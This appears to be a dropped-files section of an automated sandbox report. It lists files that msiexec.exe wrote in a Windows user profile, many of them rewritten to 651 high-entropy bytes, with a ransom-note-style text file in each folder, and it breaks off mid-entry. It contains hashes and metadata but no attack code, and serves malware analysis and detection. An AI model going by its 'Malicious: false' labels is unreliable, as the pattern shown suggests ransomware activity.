SHA1:	74E37CBDF863D4405D172BFC112BD7C5C00AAB4E
SHA-256:	4E55E34405DE859043C9717CB55A38A7131BA424E659271E041313987A67A86B
SHA-512:	A4671EF40DAC7DFEEA6D319EC7650916304D288A5C36D3412072D246F6F4D69B543B879D5CF8E3FEE532A512FD785064C0D0EC571D8B4FADC87F263CC0E62707
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.635048288990912
Encrypted:	false
MD5:	E73663DC8F660553DD7A6F104E09358C
SHA1:	4383931C9B6EEFE8563D1A1BB72A65895A604BD2
SHA-256:	84B155B195E0E44FBF43E3E2E65E701BBF4872AA4A9DE62A48FD7714E8A295ED
SHA-512:	34425A674921B46C43E483B2DDC33585E8AD8C9532F8F1E732D40EC32B3473043826CEC264D7241EFDE700D030A9154BC8390A6CEE936A63613EE051E8FB3D31
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6930101095972985
Encrypted:	false
MD5:	9AAAE34AF00921731CEF9F37CF8B522A
SHA1:	708B3F462397FF40F3CEDCC8ED26ECD4302C4347
SHA-256:	B402BECA88D44D8F7A2AED6A0B55DD0180CDB5996F187C468C12D84EC9CC7C12
SHA-512:	C88AD80C95B0E8EDA79A0FB627514310F62396C7AADE5E0875CFAB4C96D97E6C7BAFA60B11A162CD9C647158749E5B61446C5F203792F543A4494FB6EF5B5B3F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682459559604439
Encrypted:	false
MD5:	A70456CD41A5F78DE26BCDA3C1025920
SHA1:	A7EED129A4328F23EB50B76138461A72565BF4EE
SHA-256:	F893942D17D8E7809C1D50244C1B04804A797E339B83D29B6E6D04ABB90F8451
SHA-512:	78B2CC7CEA4F3FCE95EA64DB751BA46AEDCFED9BEA85E47C15AE6993E0309A58015ABB20B1E7169FF68F9570F0B1F166ACA822DFA287609EF51FA7784A7FB9C1
Malicious:	false

C:\Users\user\AppData\Local\IconCache.db
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687920494066311
Encrypted:	false
MD5:	E1C136FAB98B8BCD47EC9609FB4ECEE1
SHA1:	050A6149840E53F6C2F9B13E2E77E4B1524816B0
SHA-256:	14B95CC54B1C5648B032F5DB55B9A14C3F5582C82867499E87C2B2A118382A8B
SHA-512:	55F440D8E4DDB59C11C1C7F24CD39861C8415068A0EF4BBA0C83A74715C8867DBBD82A47E7C06066F552CA5B13F3A0A5EBA98213470DA79654C4BF8E61C0ED15
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Device Metadata\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Device Metadata\dmrc.idx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6563608359342386
Encrypted:	false
MD5:	DC39095F87F6106305A354026B0DC917
SHA1:	981B43874BF5A5912EEF3EBFCA90C27F99B0DA0D
SHA-256:	22B0FE85CA4929446F35EF51C27B8A4049E5F9D16C0B928C6EFEABF5FCC7FA18
SHA-512:	B1D5B4970080CA98371E584BDE5C5CBD03B5074698E6F7178C340CC0D945A0708D59FC78066A88E06247686ED575BC169E43472C83A4993E354948E8A3AF8E85
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Event Viewer\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Event Viewer\RecentViews
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659685093459052
Encrypted:	false
MD5:	AC052CF98F2C1D56ECAAC7AAEF62EAE2
SHA1:	629A915DC4479A682A7B0324C7B3F60AFB6E537E
SHA-256:	86A3331F9D7946C664447A790F025A7CCF2637717EB92980CEBD781EA828B0EB
SHA-512:	45FD14EE5E42F7FFB46BC28AF9C67F25B84299069E7B9695D6CB6FD1C891E22286ED0F77DE5A47C83D84E3E0EA3A21FAABDCB3C3D74FD2D28A8E528DE6EFD9F2
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Event Viewer\Settings.Xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.640230652368393
Encrypted:	false
MD5:	94F3D8DB872DDBDA9D3B911538F89D90
SHA1:	9EDEA8ADBCA6B24B5082D9FB1102C5709B8947AB
SHA-256:	8DE13EEA60E98D640166F2C496F4F8F4354A99550D7AB47D2475092E05AB4397
SHA-512:	29BC6C65A08D57A0213EDEFA7E149A474817C8B94C26293117C75F60232B068A2198CD43BBEF23EDAD7B495F0BB2A1E917E2539E25153E945C31B4C8B8FEDD30
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\1KI80NQY\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\1KI80NQY\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.679744210120775
Encrypted:	false
MD5:	58AAB68DFBDB9A2154CAAE018BF51C8F
SHA1:	DC9FC10F84E014CFFFC697246A80435A484DCF87
SHA-256:	339AEA559DCFBEB9520609A451D15929EE1B714A12699A7433DB0DBA6DF56E90
SHA-512:	606168651DE85A3E157BF4EF4E561B1FCF8F199409B5C56305FCC3CCE749E6A69568AA29ADC9BD4BCDF1B6A8B91892C6A13C72BFFB345F2EE53DCAA02CA36F41
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\GQEQYVJH\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\GQEQYVJH\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.717979400638323
Encrypted:	false
MD5:	45B18C194743A7D7F6ACF89D4B94AB0B
SHA1:	F651C79FE11A7E1CDE88BDC6D11E455A88866F3C
SHA-256:	DC45D5DA1BC6887DA69D06BDAE30F37BE25C1C2855A350C455F8903E5E934B84
SHA-512:	C818E4F9D40AE89A70DB777ABB68E428B7245160A962D9137BB6E475535BFD3C7FE580E5CBF7644EAC401993CFB3151A7AE786975586E22271E6A29D81B6B440
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\N3DSIWIV\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\N3DSIWIV\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.717833580010522
Encrypted:	false
MD5:	464CE7EB96625DE306264F51747160EB
SHA1:	D73E8E17CEC45010217353B98B17E6BB4A0450DB
SHA-256:	96CF8865027578E012D333746217061E6D983A92E0BFF496F770867F38FA1EBF
SHA-512:	541EB1993B645CE81A11763343ABD14AD1546B63F2C14D232548FD018DAF74E9289202E5CAFF02E0B728D14E2378B60114BFFBD921CCA81C61DCDEDA0AEDC362
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\V10QFHM6\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\V10QFHM6\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.727203319474319
Encrypted:	false
MD5:	C4967762971C982F36679F98D25E2894
SHA1:	162D0038FE4BB64B0886B5A88B5DD6DB41A2C216
SHA-256:	CC1CA044D4215890373BF13ACABA5CCF450B0BC281010CBFB41BC736BC21E7AD
SHA-512:	2AD66487389936FAE25F6B1CEB0DA12AB6A2628CBBC9ACAA36814D3099B7FEABACB6D7FA36F35FC5FFB6CFE02CDF3626520275269B2BF03EB2FCA0BE6A9C418F
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712199690664008
Encrypted:	false
MD5:	726C79EA0ED4DCA1DE4FB620E3E145C6
SHA1:	46A8167D7919E59D995A57DA0ACB22893E934F6E
SHA-256:	E2D5CCBC4AF6ACF052E25B36373D50344F49D3EB4202B4CA6585BA0BF1C3E52B
SHA-512:	D1D85F267382B8EBD736897D36F7F436F68DD6EC04F30A031B92B2A1F76FFB4E973318128EB7EDF46761894869987249F5A94BCA2D9DF4DF2F9BD508E5397B3B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Feeds for United States~\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Feeds for United States~\Popular Government Questions from USA~dgov~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690893796858389
Encrypted:	false
MD5:	720617AB6145B4C6D4309F3E9DF6AC42
SHA1:	5F1018BAAC7C6DDCF727B18EB19084EFC034DCDD
SHA-256:	05B4396681A7509F72E27D351C06AC2DFB7AE2BE7A06621F831C29E4FEDE38AC
SHA-512:	3C4A1C28692D6838AA786BA26936E8F012A24C39DC5114E29FE7FC76EF7FBFD1216A7E17F09194321E3F373F3707650A5F3F571FCA3D6AEFDA3AAA3BE0EE6AF2
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Feeds for United States~\USA~dgov Updates~c News and Features~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.661311030397278
Encrypted:	false
MD5:	27F7504312B0BB6CACB719AD0524EE95
SHA1:	4D937C85AC387F18FD81E4F2C19FE4B56F866968
SHA-256:	82AC15D025D661D027B57B594843CA47B3D61F0E31B310D87FAAE82A6F70F956
SHA-512:	0A2ABF81CCCF059F0A212F0BDA9DFE9386510E20BD7AEE33FBEE33034B47DBF2B66D417C8DDC238CECF49B8134D71FDB09ACDCFFE88BA2A6AD694FAC8B048210
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\FeedsStore.feedsdb-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6774445815188
Encrypted:	false
MD5:	5EDD5FC395EA832B758378272FD17795
SHA1:	9F08498523454E1C8C0593292093F09C71AE7251
SHA-256:	15C0662F744768B74134480D2D0D1C35BA5D07D38D01CAACA1C23F39ED0D5064
SHA-512:	FDEF4F6C2FEFE9C3AF1B4EB660D5D2800D9D981B476A2AFF6F81113A57605590309AED192BFC370244C4A5EF3F58F071F6E14B1393C6738B5BAF1E5A0E48C72D
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\MSNBC News~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.647113843707297
Encrypted:	false
MD5:	1CDD6D5E66553D8EF379E5ABC03F3E9E
SHA1:	16C01AF162BF30C7153F5ADC50C4BDF9B13BEE74
SHA-256:	2C42128D9BD19BD69C40CC1B837F270E07405381A0427A1CA4D66986EC571F7C
SHA-512:	9B9DA28BDA1C8278F7FFD5C0BD307C0B91D97939C9264DC3D13C062F4EA0C64119434E9CB0B56EFF826966D6847604F6B1BEF66C8BEA7029FA3375B06E383A59
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\Microsoft at Home~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706511291966115
Encrypted:	false
MD5:	B30E307682AEEB45F74BE08831A1F250
SHA1:	F23E6EE13FCE17958F0F01DE3CE2819D441B07D4
SHA-256:	CD593E0A0A4E32D84CC85919F70C3140001C1BB67FB0045BFE5498E146BA1C21
SHA-512:	5F6D54C76948009E1021990A6474A04DE56188BC8D498B0D6C79BCA845B227A06C5E492E5EF024E6E0E5B6E43183AA0E38AF2E5B45BEEDCCA76F2702149E9931
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\Microsoft at Work~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.714157537785907
Encrypted:	false
MD5:	2E83663D43398DCF576CE6829F81E64F
SHA1:	01C4B88CAFF7B586445A08221D3B1A947F11DFDC
SHA-256:	50565993FFD9B7D502C2AA8DBCDE9E1DABBBB8820ABCBA6AF1557C00422EC9DB
SHA-512:	738312380C79EB6F47B1244087A1E9BAB6966FAC3415D92D47B03AA3475772D8FBB9E0EAB0C9820672F6D369E5A5F5FA051FB8BF0158A4262F017D47BA74B2D6
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~\Suggested Sites~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683109230989207
Encrypted:	false
MD5:	404244C03ED5951176E78B5F5B5FD59F
SHA1:	385B7A1CCECBF52D3555AA62F919D31FE806DA10
SHA-256:	D5E0E5F47D1BE2932E307C6F2C069DDC6B856CAB8C6DC014029E6BF2F95AADB6
SHA-512:	1F22B0322BBC3BD686479438F5847D8D756FE63CD119B9DCC8A3C9C8EB6016D154100750622DB433E3D61BFF6E3361F39E21BFEDD18F01F9C0C99FBACCA11E66
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~\Web Slice Gallery~.feed-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68275634527085
Encrypted:	false
MD5:	186AB348A4A9A9CAA16E7C3164E454A2
SHA1:	FA17719F527B1BDCCA6E94BD86A7F694C913FD78
SHA-256:	DC664E3DC0CE0652CE2B9F8A6143FD14C11EE67DAF37FB849B65D01191DDAE7D
SHA-512:	9A3CF57AAC0B21470E8722077854C74DC508BD9B836B804F74F47A035DFB9D8ABB3FE723316EB3D5423CFD3CD930815CA65C3AA5CE03E4356FEC6E376D8D08B0
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\4AFDQAPA\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\4AFDQAPA\www.dell[1].xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7119174809724305
Encrypted:	false
MD5:	E459C289906FC69F6344E4781985EBD8
SHA1:	C295A3277A6ACFFB6A7F71B8796F6C444FFD48FA
SHA-256:	C4BD16BFAE6AA8383654E9C90B43221EF7CC0109A5C3675EC01BDA512AE11DAC
SHA-512:	ECB21E7202A0A97EE40F12408D04493D1F82F47E0715D64E5680F4EBAF9D6956F033D6FD5660CEFD68DE6F1C7F6819752A684BE4D39E3F594A334F5BB24F903A
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659423011861436
Encrypted:	false
MD5:	E530216EBB409BBD8F32384573BBA5E6
SHA1:	3324844875436411F7103E41CD2046E87FF10748
SHA-256:	084547A118325B3F07D1F01A1C03EA0594649922FBFD5C7709E9D2CCE68F0D17
SHA-512:	533DE247AE64C3D24660036BFFA64BD01162C5C16A2DC2A037203ED9E195345A2D73849D853579C5A22A779587ED5CCA25FC042E233D0E52400D298B331E702E
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669670630205876
Encrypted:	false
MD5:	F13DFE871D820A1BBB6488E8D859A538
SHA1:	314BFBB40C1DCF39386021CBAB139EA834171160
SHA-256:	59E88709BEF6DF8BC8973BB1D523834EE261785837E716FEB59238B788336B1C
SHA-512:	2380FF7E3B717F2E066808B3C195E6D1528FBDF7E30D728624CCDC10BB2E50FCF0E406FD9FDA591C0FF4DAA63FC5102CC0508A1FA3047A7A3198B2251DD38E02
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{82503C1B-D480-11E4-9AA4-060227532527}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.662342058879969
Encrypted:	false
MD5:	281D46E52383DC01292ECF94A4A55018
SHA1:	0E80F6B132116B0ADB61D4869A2B6BD89F9BFBB4
SHA-256:	2362D7CEBF9CC07CC1C1D049E44A20BE071282C1C1FC34D1D401C6FCFB257024
SHA-512:	3E864129E291FA3235307FD6A349F17718DC4EDEF92C81C5B34892D02846D5F36116ECFBC281F9ABBB19A579E5BB24099C46D6F2A96E21A883B552BB198097EC
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{A1ADEA03-3124-11E5-8F61-0800274A98E1}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7050737158544065
Encrypted:	false
MD5:	30033DB78CB92EDF281E687872377333
SHA1:	13C6BC0AE38BC69D865E98A3E5F1FA6EA24B34CE
SHA-256:	97DAAE9B153A70B1D38F6073E60A00BC63821214CE43E62BDC9CC30C9018E96C
SHA-512:	1A14423FE21A2A0F08A437F2E264A3D3328DBF714549E9F4FA4DD64C868E2D60DC547D18A714BF4CD6BC22A31916D653BD9AC1792DAF2FD248558E8E2AA133D0
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{82503C1D-D480-11E4-9AA4-060227532527}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.685902585473891
Encrypted:	false
MD5:	30519F4C8F7703D89E9E0407B39A139D
SHA1:	06FBAFB2DE26B43A56B4DE3568C6BA3D38CF3837
SHA-256:	9E97B59934C017AD5529B3C571F7628C5094B2EA00C17DD90C1666AF72F21512
SHA-512:	2F40D89A97C33B8036E738454C29A4C9542ADC0C3676CB746D682C3BF55AB2CAAE48032EAB17276C3B49E1FFD6615D2F1D7A48C2A626F55836D755609561E15B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{8A8E3D3C-D480-11E4-9AA4-060227532527}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6980628190223825
Encrypted:	false
MD5:	8579FE1B098F4CCD369DEA59DE4F39EE
SHA1:	9F2FDEB386F6C4A8E8C0F80258A17ACF4636CEDC
SHA-256:	F1D8B4E718989636A200B02CC8797C8FF3B2C1B5188E22D8A106577EC35F3242
SHA-512:	A96E0E63F6B9A15277D124CB2DF2EFAB5630131A19538E2F2C97A12DD617CD1ECAE03C61EFF8DDC7B53EA4CCE30A0EC64EC101646A64199F782B261A9C39E959
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{A1ADEA05-3124-11E5-8F61-0800274A98E1}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.679897866878513
Encrypted:	false
MD5:	2F2D8FC8B8E3C8D458B56754E0FD890E
SHA1:	7C68FAD3420C1B4F94E7251CBFDC0D468EC3B4BB
SHA-256:	2E7D19358AFD1ED18BD86B3FB59FF7A6B2FDC1A5B403596850A6D9178295ECB8
SHA-512:	BFD5C21B5ECDB7E12C9C35DAD79D2AA31C31FB6AFC242197E6EA1450315DBEA547F24EA455FC0333C275FD5CF5C466777F06581A42957B3687156D9FF98A1847
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{ADE42D7E-3124-11E5-8F61-0800274A98E1}.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.693441507472373
Encrypted:	false
MD5:	483E5B32B3AB3B165381801DBCEAD3D1
SHA1:	A8D6F547C6CB5F28E72BEC095B99CA877BC7CD04
SHA-256:	BED996F78C7063EB00FB7701A7D1A668233AD35404254EFC764F416798FCDF86
